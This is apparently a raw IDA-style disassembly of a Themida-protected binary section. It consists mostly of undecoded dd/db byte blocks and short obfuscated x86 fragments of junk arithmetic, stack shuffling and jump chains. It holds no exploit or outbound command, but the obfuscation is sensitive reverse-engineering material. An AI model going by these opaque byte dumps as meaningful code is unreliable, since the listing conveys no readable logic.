		dd 3B0EE924h, 0C890000h, 0A5686624h, 4896677h, 8890B424h
		dd 805866E5h, 0EDC06EF5h, 686607h, 242C2800h, 51B9E9h
		dd 0D3F75E00h, 0FFBBA8E9h, 243C31FFh, 0FFF9CAE9h, 2434FFFFh
		dd 0AFE3E958h, 0F029FFFFh, 0D3198705h, 0EB815E44h, 2BDD5524h
		dd 6857C301h, 32597F06h, 1267E95Fh, 0EA810000h,	9CA3B955h
		dd 295AD301h, 0EB3FE9D8h, 48BFFFFh, 4C48324h, 0FFF898E9h
		dd 685F5BFFh, 7688h, 68243C89h,	3495h, 0E9242C89h, 0FFFFD817h
		dd 9D1C77FFh, 14D25966h, 72E99C24h, 31FFFF93h, 2434FFC8h
		dd 57240C8Bh, 0C781E789h, 4, 4B951h, 0CF010000h, 982DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5584C2:				; CODE XREF: Themida_:0055B802j
		add	eax, [ebx]
		pop	ebx
		pop	ecx
		pop	edx
		push	4EDDh
		mov	[esp], eax
		jmp	loc_551815
; ---------------------------------------------------------------------------
		dd 3E2EE32Dh, 0E9F00136h, 71h
; ---------------------------------------------------------------------------


loc_5584E0:				; CODE XREF: Themida_:00556757j
		add	edx, 3F1225DCh
		add	edx, 54A019FDh
		push	edi
		jmp	loc_5534C9
; ---------------------------------------------------------------------------


loc_5584F2:				; CODE XREF: Themida_:0055B9F0j
		pop	ebx
		dec	edx
		add	edx, 47AE7885h
		sub	edx, 0F673F33Fh
		sub	ebp, edx
		pop	edx
		jmp	loc_55262E
; ---------------------------------------------------------------------------
		dd 0E38EABEh, 49BEE917h, 8B660000h, 68562404h, 1316h, 83242489h
		dd 0E9042404h, 2CB6h, 0BA241489h, 2, 3AFBED81h,	0D5014663h
		dd 0DFB0E950h, 8B66FFFFh, 0EC81240Ch, 4, 54240489h, 8E1E9h
		dd 2EE30500h, 0E95E363Eh, 1FDCh
; ---------------------------------------------------------------------------


loc_55855C:				; CODE XREF: Themida_:0055D339j
		add	edx, 4
		add	edx, 4
		jmp	loc_55CA5D
; ---------------------------------------------------------------------------


loc_55856D:				; CODE XREF: Themida_:0055A9B3j
		sub	ebx, 1B51082Ah
		add	ebx, 12F70671h
		add	eax, ebx
		jmp	loc_55BACC
; ---------------------------------------------------------------------------
		dd 14685659h, 8B590F43h, 49E92434h, 0FFFFFFAEh,	34FF2434h
		dd 24048B24h, 8904EC83h, 60E92434h, 4A000027h, 218DEA81h
		dd 14E92E19h, 6600004Ch, 5EE9028Fh, 83FFFF92h, 0EC8304C4h
		dd 24148904h, 38BAh, 50FA0100h,	0B8h, 0E9D00100h, 2996h
		dd 5966D12Ch, 4EC8152h,	89000000h, 59E92404h, 52FFFFE8h
		dd 312E26BAh, 164A6829h, 14890000h, 0A111E924h,	3134FFFFh
		dd 2AE9C200h, 5FFFFC1h,	4, 8704C083h, 44E92404h, 0C1FFFFEAh
		dd 1B6807E3h, 89000032h, 0A3B82404h, 400DD558h,	4003E8C1h
		dd 0FFC473E9h, 56F929FFh, 684D6853h, 1C8B7BAEh,	4C48124h
		dd 81000000h, 0E11D91EBh, 5BDE8915h, 0C5E9DE87h, 0E9FFFFAAh
		dd 0FFFF91C1h, 0CFA6C781h, 0F889013Dh, 93B4E95Fh, 2CACFFFFh
		dd 5A32688Eh, 14890000h, 0C061B624h, 0CEFE04E6h, 0FFADA8E9h
		dd 241C89FFh, 623B68h, 24148900h, 8E6BB53h, 0B0E929D8h
		dd 0BBFFFFF0h, 28947FACh, 5784BD55h, 0F75544E0h, 815D2414h
		dd 90BD55F5h, 0A0AE98Bh, 0C6FE0000h, 0E916C680h, 0FFFFACF5h
		dd 8190F281h, 0D389D944h, 2164E9h, 0E9CA0100h, 5653h, 582414F7h
		dd 4E97E9h, 35E62D00h, 0BE051A98h, 29360305h, 0CDBF57D8h
		dd 81494803h, 8C490EC7h, 14F75706h, 0D7F75F24h,	471DEF81h
		dd 0F82919D1h, 0FAD9E95Fh, 0CF89FFFFh, 0E92434FFh, 0C67h
		dd 8704C083h, 4BE92404h, 5FFFFFE7h, 0FFF2BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558719:				; CODE XREF: Themida_:00559D42j
		pop	ecx
		jmp	loc_5560CB
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E981F929h, 65DE1571h, 74FF515Fh, 0C8B0424h,	0E6895624h
		dd 4C681h, 0C6830000h, 63486804h, 34890000h, 2474FF24h
		dd 48F5E04h, 48F5C24h, 14895C24h, 9E1AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55875A:				; CODE XREF: Themida_:0055CD5Cj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55588B
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 47BD5524h, 0E96ADA75h, 0FFFFFB5Eh
		dd 0E9241489h, 0FFFFCAB1h, 261CC581h, 0D5F71F0Dh, 27E9E9h
		dd 0AE8C100h, 62E9C831h, 58FFFFCBh, 178B68h, 24048900h
		dd 0FFEE88E9h, 48B66FFh, 7B776824h, 2C890000h, 525D5424h
		dd 0E02EC7BAh, 0BE564217h, 371019F2h, 75FFC681h, 0BB537B11h
		dd 29B04D7Ch, 815BDE09h, 247B86EEh, 3BEE8100h, 1D36D83h
		dd 24348BF2h, 104C483h,	3DE95AD5h, 81FFFFD1h, 654ADBC3h
		dd 0E164E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587FA:				; CODE XREF: Themida_:005531C5j
		mov	ebx, esp
		jmp	loc_5568FB
; ---------------------------------------------------------------------------
		db 59h,	29h, 0D8h
		dd 0FFE992E9h, 2E4ABDFFh, 0F58139A1h, 19D35820h, 766EF581h
		dd 0E9012072h, 2C1815Dh, 87000000h, 8B5C240Ch, 88E9240Ch
		dd 8BFFFFD1h, 0C4812414h, 4, 8108E9C1h,	615363E9h, 0A4F18124h
		dd 1C0D137h, 7B2D59C8h,	5B385A3Fh, 5E255405h, 51D8015Bh
		dd 60DE9h, 81595800h, 0DB04246Ch, 15E4969h, 8104246Ch
		dd 0DB042444h, 0E95E4969h, 0FFFFCF9Eh, 5BD9895Fh, 591C4F21h
		dd 0FFF786E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558885:				; CODE XREF: Themida_:0055C763j
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_553C9A
; ---------------------------------------------------------------------------


loc_55889C:				; CODE XREF: Themida_:00552CB9j
		add	edi, 21830EFAh
		mov	ebp, edi
		pop	edi
		inc	ebp
		xor	ebp, 18643039h
		push	0D12h
		mov	[esp], ebp
		jmp	loc_55BA89
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2468E9h, 5F545700h, 0B8A1E952h, 232DFFFFh, 0E93AC825h
		dd 0FFFFBF99h, 0B7E9E801h, 51000020h, 0C02590B9h, 0A6E98142h
		dd 1DDB710h, 0FF13E9C8h, 1C8BFFFFh, 4C48324h, 809BE980h
		dd 885357E9h, 0E9FA88CFh, 0AEDh, 4C481h, 0EC830000h, 240C8904h
		dd 42474FFh, 81240C8Bh,	4C4h, 24048F00h, 0E924248Bh, 0FFFFC33Ah
		dd 7B2970BEh, 5E6C145h,	2E04F681h, 0F589AF65h, 5DE9895Eh
		dd 1EFCB951h, 0CA0134C7h, 83240C8Bh, 0CA0104C4h, 1EFCEA81h
		dd 41E934C7h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_558957:				; CODE XREF: Themida_:0055C2DEj
		pop	edi
		jmp	loc_558EBE
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aPirsa0		db '$P䈎a0',0
		dd 2C48300h, 2EC81h, 89660000h,	0FF662404h, 66022474h
		dd 8124048Bh, 2C4h, 48F6600h, 2A13E924h, 0EEC00000h, 2022E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558996:				; CODE XREF: Themida_:00559D4Ej
		and	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0FFE05038h
		add	ebx, 586101EAh
		sub	ebx, esi
		sub	ebx, 586101EAh
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_557404
		push	ecx
		jmp	loc_552BDB
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 9Bh
		dd 816CD81Fh, 8C6424EAh, 5F525754h, 0DFF75A5Ah,	0C103EFC1h
		dd 0EBE906EFh, 0FF00003Bh, 8B042474h, 0C4832414h, 24048F04h
		dd 4DE0685Ch, 2C890000h, 0A5BD6624h, 81536641h,	4ECh, 243C8900h
		dd 3C62BF66h, 0F9896651h, 59CB8966h, 0E9243C8Bh, 0FFFF9CC6h
		dd 0F608E7C0h, 41B450DFh, 0FFCC20E9h, 405FFh, 4050000h
		dd 87000000h, 248B2404h, 24143324h, 33241431h, 248B2414h
		dd 33E9E924h, 8050000h,	0E9589D67h, 3C64h, 2637E952h, 0C8B0000h
		dd 4C48124h, 53000000h,	0BF57E389h, 51C44B3Ah, 0FFF658E9h
		dd 0E8C148FFh, 70BB5303h, 2908B9DEh, 1B81E9D8h,	0D8010000h
		dd 0FFD8E7E9h, 59CF01FFh, 0E781D7F7h, 458E33EFh, 1141EF81h
		dd 0FB01458Ch, 40A0E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558AAE:				; CODE XREF: Themida_:0055325Ej
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55C15F
; ---------------------------------------------------------------------------


loc_558ABE:				; CODE XREF: Themida_:0055BB62j
		inc	dh
		inc	dh
		sub	dh, 0C1h
		or	ah, dh
		pop	edx
		sub	ah, 0FFh
		add	ah, 0E3h
		jmp	loc_55D76E
; ---------------------------------------------------------------------------
		db 81h
		dd 8047A6C1h, 0B3E95313h, 1FFFFCBh, 0F288E9D7h,	815FFFFFh
		dd 4C7h, 4BD5500h, 29000000h, 3C875DEFh, 0CEC3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558AFE:				; CODE XREF: Themida_:0055A01Bj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5542C1
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 0FFFFE17Ah, 0E902C483h, 1930h, 4EC81h, 22E90000h, 29FFFFB3h
		dd 0D32959CBh, 8324148Bh, 0D82104C4h, 0E9241C8Bh, 4D44h
		dd 0C5304EB0h, 0E9EB2858h, 0FFFFA0EBh, 0ABCDE952h, 0E959FFFFh
		dd 4577h, 8B5DEB89h, 0D3E9243Ch, 1FFFFAFh, 0C875BD9h, 2A685C24h
		dd 8900005Ah, 5E542434h, 1D1EE9h
		db 0
; ---------------------------------------------------------------------------


loc_558B75:				; CODE XREF: Themida_:00555FD3j
		mov	[esp], ebx
		mov	ebx, 698083AEh
		sub	ecx, ebx
		pop	ebx
		sub	edx, 4062365Fh
		sub	edx, ecx
		add	edx, 4062365Fh
		push	dword ptr [esp]
		pop	ecx
		push	esi
		jmp	loc_55487F
; ---------------------------------------------------------------------------
aYslf		db 'YéLF',0
		align 2
		dw 0EDB2h
		dd 805AD188h, 0CB2867C1h, 83C32859h, 148904ECh,	54B224h
		dd 4017E9D3h, 53660000h, 0DD00D9B3h, 0FF9B5EE9h, 0E68956FFh
		dd 5C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_558BCD:				; CODE XREF: Themida_:0055C1A1j
		mov	[esp], ecx
		jmp	loc_55D203
; ---------------------------------------------------------------------------


loc_558BD5:				; CODE XREF: Themida_:005598DDj
		pop	edi
		push	7871h
		mov	[esp], ebx
		push	edi
		mov	ebx, [esp]
		push	esi
		jmp	loc_55C761
; ---------------------------------------------------------------------------
		dd 1D7F685Bh, 14890000h, 0C01BA24h, 0E2813A85h,	5CF551DEh
		dd 2376CA81h, 1E92A61h,	0D3000004h, 0E99C2424h,	0FFFF8C05h
		dd 81241C8Bh, 4C4h, 4EC8100h, 0E9000000h, 0FFFFDF27h, 0FAF7EA81h
		dd 46E9B78Fh
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C2F:				; CODE XREF: Themida_:005545F5j
		not	edi
		sub	edi, 0C2149FB7h
		push	edi
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 7F215BEFh
		neg	ecx
		jmp	loc_55B01F
; ---------------------------------------------------------------------------
		dd 4C481h, 3C870000h, 0D78E924h, 52510000h, 0AF081BBAh
		dd 7E28104h, 0F7001A24h, 0CFF52D2h, 0E2815A24h,	204B5886h
		dd 3137C281h, 0EA811BB4h, 3BF589B7h, 35E9D189h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C8F:				; CODE XREF: Themida_:00551B34j
		pop	cx
		sub	bh, 6Bh
		sub	cl, 0C0h
		sub	cl, bh
		add	cl, 0C0h
		pop	ebx
		jmp	loc_557724
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8B243487h, 0EFE92424h, 81FFFF92h,	0D953DEF3h, 0C8A2E948h
		dd 52E9FFFFh, 53FFFF8Bh, 0FFC23FE9h, 0B78BEFFh,	0F7893053h
		dd 5FFA015Eh, 0EA81F201h, 30530B78h, 8B33E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558CE2:				; CODE XREF: Themida_:0055816Bj
		mov	esi, 33A1648Ah
		jmp	loc_55467E
; ---------------------------------------------------------------------------
		dd 24048B66h, 44DE68h, 0D543E900h, 0C481FFFFh, 4, 0FFA2D6E9h
		dd 0E9DA01FFh, 0FFFFACC8h, 687DF780h, 1222h, 0B0240489h
		dd 0D0E334EDh, 244A2CE8h, 65B353A7h, 48CEB80h, 2CD828BFh
		dd 0C8345BBFh, 28E9C728h, 81000017h, 3D042444h,	816D3F34h
		dd 3404246Ch, 10BA607h,	8104244Ch, 34042444h, 510BA607h
		dd 3F343DB9h, 244C296Dh, 8F595908h, 6F814047h, 0B5516F40h
		dd 24048B2Fh, 0E904EC83h, 0FFFFBB30h, 840FC00Bh, 0FFFFC284h
		dd 0FF1C77FFh, 0E6E92434h, 0FFFFFFBEh, 669D1C77h, 24041858h
		dd 8A7FE99Ch, 0BA52FFFFh, 31A12AF0h, 148BD731h,	0BB07E924h
		dd 8758FFFFh, 295C2434h, 0E99C2404h, 0FFFF8A61h
; ---------------------------------------------------------------------------


loc_558DB4:				; CODE XREF: Themida_:00559A6Dj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55CC8A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 44682404h, 89000063h, 5954240Ch, 8BBF5756h, 47279C14h
		dd 16F9B951h, 0E9815F2Bh, 0FF02FFD0h, 5259CF01h, 3BD44FBAh
		dd 0E9D70178h, 1112h, 0E956E289h, 2504h, 5AE9C589h, 53FFFFFAh
		dd 0C5E9E389h, 89FFFFF0h, 0B951242Ch, 0DC34387h, 0E9C88950h
		dd 0FFFFFFE0h, 979CE956h, 8141FFFFh, 9C78E8E1h,	0F7D1F723h
		dd 0D7DCE9D1h, 48BFFFFh, 4C48324h, 38B768h, 24348900h
		dd 7375BEh, 0F9EE8107h,	0E90F5728h, 2894h, 0A8E9D2F7h
		dd 0FEFFFFA5h, 5EC80C4h, 8003E4C0h, 0C480E1E4h,	3FB5E9CEh
		dd 0C4B90000h, 0C17F2A0Eh, 0E98102E1h, 63E5377Fh, 0C33E9h
		dd 240C8B00h, 4C481h, 48F0000h,	78E95C24h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E8F:				; CODE XREF: Themida_:0055435Bj
		sub	esp, 4
		jmp	loc_551E62
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C8BC829h, 4C48324h, 8904EC83h, 0BE56241Ch, 342E793Ah
		dd 9BEEE1BBh, 0A40DE96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558EBE:				; CODE XREF: Themida_:00558958j
		xor	ebp, 3DEAB97Fh
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 0AD23992h
		shr	ebx, 3
		shr	ebx, 5
		push	edi
		mov	edi, 2420440Bh
		inc	edi
		push	0
		sub	[esp], edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	eax
		mov	eax, 26490A79h
		or	edi, eax
		jmp	loc_559D47
; ---------------------------------------------------------------------------


loc_558F00:				; CODE XREF: Themida_:00552CD4j
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	edx
		jmp	loc_553AF6
; ---------------------------------------------------------------------------
aZS7		db '‡<$é7:',0
		dw 8300h
		dd 0C681FFC6h, 8984800Ah, 89E9F701h, 1000004h, 0F0D2E9F5h
		dd 5D5BFFFFh, 0FFFD2DE9h, 401168FFh, 14890000h,	88D3E924h
		dd 0E955FFFFh, 3112h, 6866h, 9B65266h, 2919E9h,	21E95E00h
		dd 8B000032h, 0EC832434h, 0A548E904h, 895DFFFFh, 0EB815AD5h
		dd 5D0D1AE6h, 4AB4C381h, 0EB012659h, 4AB4B951h,	74E92659h
		dd 88000016h, 0AD71E9F5h, 0C981FFFFh, 399A4C6Fh, 0D555C181h
		dd 0C829A182h, 0FFCBCAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558F9D:				; CODE XREF: Themida_:00555054j
		push	5F4Fh
		mov	[esp], edx
		pop	ebp
		pop	edx
		pop	edi
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	4FE5h
		mov	[esp], ebx
		push	eax
		jmp	loc_55988D
; ---------------------------------------------------------------------------
		db 54h
		dd 8124048Fh, 42404h, 0C8B0000h, 0DEFDE924h, 312CFFFFh
		dd 0C1E94604h, 8BFFFFDAh, 87E9242Ch, 5600003Dh,	0AFE9E689h
		dd 0C100003Dh, 0E5C103EDh, 95D5E904h, 0E956FFFFh, 0FFFF8A46h
		dd 3690CA81h, 0EA814569h, 232BEDD4h, 0FFFAC6E9h, 241C87FFh
		dd 2434895Ch, 73E868h, 24248900h, 0FFC256E9h, 97C981FFh
		dd 8176CA2Eh, 21D105C1h, 59CA0181h, 8904EC83h, 0BE562404h
		dd 33335C67h, 348BF089h, 4C48324h, 7E0C148h, 0AE330235h
		dd 8BC20199h, 0C4812404h, 4, 31241433h,	14332414h, 24248B24h
		dd 0F66E9F6h, 6866CCB6h, 89664714h, 0F66240Ch, 5166C8B6h
		dd 9458E99Ch, 86E9FFFFh, 81FFFF87h, 0B3446AC6h,	8C3EE973h
		dd 34FFFFFFh, 0BA525587h, 319D2BEFh, 1264E9h, 0BB0F6600h
		dd 0E99C2404h, 0FFFF8761h, 515DEB21h, 0E00717B9h, 59CB210Ah
		dd 2EE5EB81h, 0DF014445h, 170AE95Bh, 0EE800000h, 5AF00011h
		dd 3E0AE9h, 4C48100h, 55000000h, 341B44BDh, 6DF5812Fh
		dd 81034B0Fh, 2D7410C5h, 0DFB85077h, 0C1548B68h, 0D0F703E8h
		dd 0F84A5725h, 758D3544h, 0C501183Bh, 5DE90158h, 31240C33h
		dd 2CE9240Ch, 8F000007h, 99E92404h, 48FFFFCAh, 0FFC579E9h
		dd 2434FFFFh, 8324148Bh, 406804C4h, 89000067h, 0D2E9240Ch
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55913B:				; CODE XREF: Themida_:0055AF20j
		mov	esp, [esp]
		jmp	loc_55C36B
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 24048F00h, 4240481h,	8B000000h, 0C4812434h
		dd 4, 4C681h, 0C6810000h, 4, 31243433h,	34332434h, 24248B24h
		dd 8B2434FFh, 60E92404h, 83FFFFA5h, 2C3304C5h, 242C3124h
		dd 5C242C33h, 0B4B6E952h, 0C681FFFFh, 4, 8702C683h, 0FE5C2434h
		dd 4DB050C5h, 458C528h,	2CE80018h, 2434FF18h, 0FFB369E9h
		dd 34C281FFh, 10ED94Ch,	34B850C2h, 290ED94Ch, 97F8E9C2h
		dd 0D2F6FFFFh, 0FF9273E9h, 4C781FFh, 83000000h,	3C8704C7h
		dd 52575C24h, 6F0DE9BAh, 7E38BF6Ch, 0F5E99940h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5591F3:				; CODE XREF: Themida_:0055C3EEj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55A99C
; ---------------------------------------------------------------------------
		dd 0CC25E9ADh, 3C89FFFFh, 0A6E95424h, 43FFFFF0h, 0FFF3FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559219:				; CODE XREF: Themida_:00552759j
		pop	ecx
		sub	eax, 19CB61D1h
		add	eax, esi
		push	ebx
		mov	ebx, 773537F0h
		or	ebx, 27360C69h
		add	ebx, 0A29421D8h
		add	eax, ebx
		pop	ebx
		pop	esi
		sub	eax, 2E760280h
		add	eax, ebx
		add	eax, 2E760280h
		sub	eax, 38597804h
		push	429Dh
		mov	[esp], edx
		jmp	loc_55375F
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4C18100h, 87000000h, 815C240Ch, 4ECh, 243C8900h
		dd 24AFE9h, 0F9C68100h,	0E902EC1Bh, 0FFFFE2A9h,	5EA2EE81h
		dd 815F5AB3h, 2C6h, 24343300h, 33243431h, 665C2434h, 0E99CC83Bh
		dd 2BE9h, 1FBCC681h, 0C6813AB6h, 3BB45FB0h, 0FFBC90E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5592B1:				; CODE XREF: Themida_:00552AF5j
		mov	ecx, [esp]
		jmp	loc_553669
; ---------------------------------------------------------------------------
		db 1, 0EBh, 5Dh
		dd 6DB7EB81h, 0DD31A85Bh, 66ED815Bh, 92A9C36h, 0E95D1C6Fh
		dd 0FFFF8541h, 0BA241489h, 1, 46F9E9h, 0C3285A00h, 80F8EB80h
		dd 516629EBh, 8880B753h, 0B3E95BF9h, 81000030h,	4B710AC1h
		dd 0D9F9E97Eh, 0B951FFFFh, 493E6C5Ch, 8108E9C1h, 52053BE1h
		dd 81D1F709h, 17D872E9h, 59C801F9h, 652DC801h, 5706A823h
		dd 9D4E4DBFh, 81D7F731h, 0EC521FEFh, 1BB533Ch, 29000000h
		dd 19E95BDFh, 89000030h, 33BB241Ch, 523E7C3Ch, 51E7BD55h
		dd 0ED8145C6h, 348E1F38h, 2C8BEA89h, 4C48124h, 31000000h
		dd 24148BD3h, 4C481h, 0C0E90000h, 59FFFF9Dh, 4F04C483h
		dd 7B99BE56h, 0F7215E74h, 0A845E95Eh, 8B66FFFFh, 0A3E92404h
		dd 53000001h, 4BBh, 0FC78100h, 17E1117h, 0FEF81DFh, 8B7E1117h
		dd 0C483241Ch, 2C78104h, 0E9000000h, 0FFFFAA5Ch, 4C7835Eh
		dd 5C243C87h, 2E80E981h, 89505F6Bh, 0BF6E9E0h, 4BE0000h
		dd 0E9000000h, 3D04h, 31E9EA01h, 6600003Ah, 9DE95351h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5593DF:				; CODE XREF: Themida_:0055D146j
		push	ecx
		jmp	loc_556CBD
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 5C240487h, 8A0E9h, 30595B00h, 2434FFCAh, 8506859h, 3C890000h
		dd 0E9E78924h, 2215h, 4B7DC381h, 814B7394h, 27E391EBh
		dd 5BD801D0h, 22E7E950h, 2C810000h, 6F57C224h, 0C3815B31h
		dd 316F57C2h, 88FB015Dh, 0DEE95B03h, 0BEFFFF83h, 44C93194h
		dd 4247401h, 0FFBF61E9h, 24048FFFh, 873FE95Ch, 0C89FFFFh
		dd 0E9565524h, 0FFFFF4D0h, 4C481h, 59E90000h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559463:				; CODE XREF: Themida_:00555BA5j
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		pop	eax
		pop	edi
		push	10EAh
		jmp	loc_556EB6
; ---------------------------------------------------------------------------
		dd 66EE885Ah, 13B05059h, 0D60CD8F6h, 373E9h, 3C875000h
		dd 0F7F78724h, 31F731D6h, 57F731FEh, 42474FFh, 24048F5Fh
		dd 8B2434FFh, 0C4832404h, 68636804h, 1C890000h,	0B530E924h
		dd 815CFFFFh, 0B32C79C1h, 0E9D1012Ah, 0FFFFB6B3h
; ---------------------------------------------------------------------------


loc_5594E4:				; CODE XREF: Themida_:0055429Ej
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_55743C
; ---------------------------------------------------------------------------
		db 0FEh, 0C9h, 80h
		dd 0C8309DC1h, 1CAB6859h, 4890000h, 2488B024h, 0C0D0F66Eh
		dd 69E906E8h, 55FFFFDBh, 711B7BDh, 50E58136h, 0C143CB31h
		dd 814506EDh, 1E0F06E5h, 0E078E909h, 0EC83FFFFh, 242C8904h
		dd 0EC835D54h, 240C8904h, 509A6852h, 815A7E2Fh,	0C873FDCAh
		dd 0F6B9513Ch, 0F7238821h, 0BACDE9D9h, 61BEFFFFh, 2166A058h
		dd 0C9815EF1h, 544216E7h, 0E906E1C1h, 0FFFFA6B3h, 3EE9E588h
		dd 0BF000040h, 63C7171Ah, 0D7EF814Fh, 81126424h, 0D7156BCFh
		dd 6E7C128h, 6083E781h,	0D4E946B2h, 87FFFFDFh, 248B240Ch
		dd 2886424h, 0FF8274E9h, 0FBE56FFh, 0C15A3261h,	0E6C105EEh
		dd 8EEC106h, 64C0F681h,	0F10100B4h, 240C335Eh, 33240C31h
		dd 248B240Ch, 0CB51E924h, 0B850FFFFh, 205649D9h, 0E0D1D8F7h
		dd 0A42CA525h, 0BE5678h, 2938002Ch, 0C2815EF0h,	1AE0657Ah
		dd 2A57E9h, 0DCE95600h,	5DFFFFDFh, 148BD329h, 4C48124h
		dd 2D000000h, 69C33C47h, 4705D829h, 5B69C33Ch, 32E9D801h
		dd 83FFFF91h, 3C3304C4h, 0EE17E924h, 0F581FFFFh, 4211515Fh
		dd 114C181h, 79E94511h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55962F:				; CODE XREF: Themida_:00555ABEj
		pop	esi
		jmp	loc_55CE2C
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 8Ch
		dd 55FFFFE3h, 89565D54h, 1012E9E6h, 0E95E0000h,	33DAh
		dd 4C781h, 6CE90000h, 5FFFFFF6h, 1035E9h, 246C8100h, 26361D04h
		dd 4815D0Bh, 93463A24h,	2404297Fh, 3A242C81h, 557F9346h
		dd 0F7E95557h, 80FFFFAAh, 0E680DEE6h, 72EE80D8h, 802DE680h
		dd 0D4E902EEh, 5900003Ch, 4EC81h, 4890000h, 3054E924h
		dd 74FF0000h, 34FF0424h, 0C4815924h, 4,	0E924048Fh, 0FFFF94AEh
		dd 34FFD030h, 0C4835A24h, 4EC8304h, 0FFE043E9h,	0F1BB53FFh
		dd 2905770Bh, 53525BDFh, 0BBh, 5BDA8900h, 0FFD2D7E9h, 0C1D787FFh
		dd 0E78108E7h, 6C2A27A0h, 14BACF81h, 0F7817DF3h, 7DFB37BEh
		dd 7CE9F901h, 81FFFF8Fh, 4C2h, 3ACCE900h, 0B7530000h, 0ACC0E99Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559712:				; CODE XREF: Themida_:0055BBD0j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 38FD25CDh
		jmp	loc_557C0B
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 0FFAE73E9h, 0DD3548FFh, 12BE832h, 0B5BEE9C6h, 0C281FFFFh
		dd 42923569h, 5A5AD529h, 0FFB7B1E9h, 5F215FFFh,	0C2E95B1Ch
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559753:				; CODE XREF: Themida_:005525B3j
		pop	ebx
		neg	dword ptr [edi+20h]
		shr	dword ptr [edi+20h], 7
		push	2810h
		mov	[esp], edx
		mov	edx, 20h
		add	edx, edi
		xor	dword ptr [edx], 7975A65h
		pop	edx
		jmp	loc_55A779
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9243489h, 0FFFFA454h
; ---------------------------------------------------------------------------


loc_559784:				; CODE XREF: Themida_:00553F10j
		neg	eax
		inc	eax
		and	eax, 7EBF035Ah
		push	0
		sub	[esp], eax
		jmp	loc_553BB3
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EB290000h, 241C875Dh, 0E924248Bh, 0FFFFC7F3h, 24148766h
		dd 24048B66h, 0FFF1B0E9h, 1533BAFFh, 0D6012191h, 16EE815Ah
		dd 121E148h, 24348BF7h,	4C481h,	0BA520000h, 4, 2A71E955h
		dd 0BA520000h, 0A6E7FA3Eh, 23E9D501h, 87000029h, 895C241Ch
		dd 93BF243Ch, 8168273Ch, 496D08E7h, 76EB6820h, 4890000h
		dd 2EBEB824h, 0D0D7BEAh, 55173D79h, 907317BDh, 0E9E80150h
		dd 0FFFFDF2Bh, 0C620D22Ch, 63F68058h, 1CCBE9h, 0F7DE8700h
